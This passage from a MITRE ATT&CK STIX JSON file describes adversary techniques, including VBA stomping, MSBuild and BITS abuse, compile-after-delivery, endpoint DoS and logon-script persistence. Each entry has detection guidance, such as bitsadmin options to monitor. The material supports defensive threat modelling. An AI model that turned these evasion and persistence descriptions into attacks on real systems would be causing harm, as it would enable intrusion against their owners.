8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Windows Registry: Windows Registry Key Creation"],"x_mitre_defense_bypassed":["Digital Certificate Validation"],"type":"attack-pattern","id":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","created":"2020-02-21T21:05:32.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1553/004","external_id":"T1553.004"},{"source_name":"Operation Emmental","description":"botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.","url":"https://www.youtube.com/watch?v=gchKFumYHWc"},{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"Kaspersky Superfish","description":"Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.","url":"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"},{"source_name":"objective-see ay mami 2018","description":"Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.","url":"https://objective-see.com/blog/blog_0x26.html"},{"source_name":"Microsoft Sigcheck May 2017","description":"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/sigcheck"},{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"},{"source_name":"Wikipedia Root Certificate","description":"Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.","url":"https://en.wikipedia.org/wiki/Root_certificate"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","type":"attack-pattern","created":"2020-01-10T18:01:03.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1037.003","url":"https://attack.mitre.org/techniques/T1037/003"},{"source_name":"Petri Logon Script AD","url":"https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008","description":"Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019."}],"modified":"2020-03-24T23:45:25.625Z","name":"Network Logon Script","description":"Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Active Directory: Active Directory Object Modification","File: File Modification","Process: Process Creation","File: File Creation"]},{"modified":"2024-10-15T15:56:47.424Z","name":"Endpoint Denial of Service","description":"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Alfredo Oliveira, Trend Micro","David Fiser, @anu4is, Trend Micro","Magno Logan, @magnologan, Trend Micro","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","Containers","IaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","created":"2019-04-18T11:00:55.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1499","external_id":"T1499"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"FSISAC FraudNetDoS September 2012","description":"FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.","url":"https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"},{"source_name":"ArsTechnica Great Firewall of China","description":"Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.","url":"https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/"},{"source_name":"FireEye OpPoisonedHandover February 2016","description":"Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.","url":"https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"},{"source_name":"USNYAG IranianBotnet March 2016","description":"Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.","url":"https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"},{"source_name":"Symantec DDoS October 2014","description":"Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.","url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-03T17:43:14.766Z","name":"Compile After Delivery","description":"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Praetorian","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Liran Ravich, CardinalOps"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","File: File Creation","Process: Process Creation","File: File Metadata"],"x_mitre_defense_bypassed":["Signature-based detection","Host intrusion prevention systems","Anti-virus","Binary Analysis","Static File Analysis"],"x_mitre_system_requirements":["Compiler software (either native to the system or delivered by the adversary)"],"type":"attack-pattern","id":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","created":"2020-03-16T15:30:57.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/004","external_id":"T1027.004"},{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"ATTACK IQ","description":"Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.","url":"https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/"},{"source_name":"TrendMicro WindowsAppMac","description":"Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0","type":"attack-pattern","created":"2017-05-31T21:30:53.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1065","url":"https://attack.mitre.org/techniques/T1065"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T18:19:53.002Z","name":"Uncommonly Used Port","description":"Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:07:23.511Z","name":"System Location Discovery","description":"\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Wes Hurd","Katie Nickels, Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","IaaS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","created":"2021-04-01T16:42:08.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1614","external_id":"T1614"},{"source_name":"Bleepingcomputer RAT malware 2020","description":"Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.","url":"https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/"},{"source_name":"AWS Instance Identity Documents","description":"Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html"},{"source_name":"Securelist Trasparent Tribe 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"FBI Ragnar Locker 2020","description":"FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.","url":"https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"},{"source_name":"Microsoft Azure Instance Metadata 2021","description":"Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.","url":"https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows"},{"source_name":"Sophos Geolocation 2016","description":"Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.","url":"https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rick Cole, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","type":"attack-pattern","created":"2020-09-17T12:51:40.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.007","url":"https://attack.mitre.org/techniques/T1564/007"},{"source_name":"FireEye VBA stomp Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html","description":"Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020."},{"source_name":"Evil Clippy May 2019","url":"https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/","description":"Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020."},{"source_name":"Microsoft _VBA_PROJECT Stream","url":"https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239","description":"Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020."},{"source_name":"Walmart Roberts Oct 2018","url":"https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278","description":"Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020."},{"source_name":"pcodedmp Bontchev","url":"https://github.com/bontchev/pcodedmp","description":"Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020."},{"source_name":"oletools toolkit","url":"https://github.com/decalage2/oletools","description":"decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020."}],"modified":"2021-10-15T14:02:07.944Z","name":"VBA Stomping","description":"Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Script: Script Execution"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["MS Office version specified in _VBA_PROJECT stream must match host"]},{"modified":"2023-04-21T12:21:40.927Z","name":"BITS Jobs","description":"Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Brent Murphy, Elastic","David French, Elastic","Ricardo Dias","Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Connection Creation","Process: Process Creation","Service: Service Metadata"],"x_mitre_defense_bypassed":["Firewall","Host forensic analysis"],"type":"attack-pattern","id":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1197","external_id":"T1197"},{"source_name":"CTU BITS Malware June 2016","description":"Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.","url":"https://www.secureworks.com/blog/malware-lingers-with-bits"},{"source_name":"Symantec BITS May 2007","description":"Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.","url":"https://www.symantec.com/connect/blogs/malware-update-windows-update"},{"source_name":"Elastic - Hunting for Persistence Part 1","description":"French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.","url":"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"},{"source_name":"PaloAlto UBoatRAT Nov 2017","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"},{"source_name":"Microsoft Issues with BITS July 2011","description":"Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.","url":"https://technet.microsoft.com/library/dd939934.aspx"},{"source_name":"Microsoft BITS","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"},{"source_name":"Microsoft BITSAdmin","description":"Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/aa362813.aspx"},{"source_name":"Microsoft COM","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"},{"source_name":"Mondok Windows PiggyBack BITS May 2007","description":"Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-14T19:23:58.317Z","name":"MSBuild","description":"Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["@ionstorm","Carrie Roberts, @OrOneEqualsOne"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being 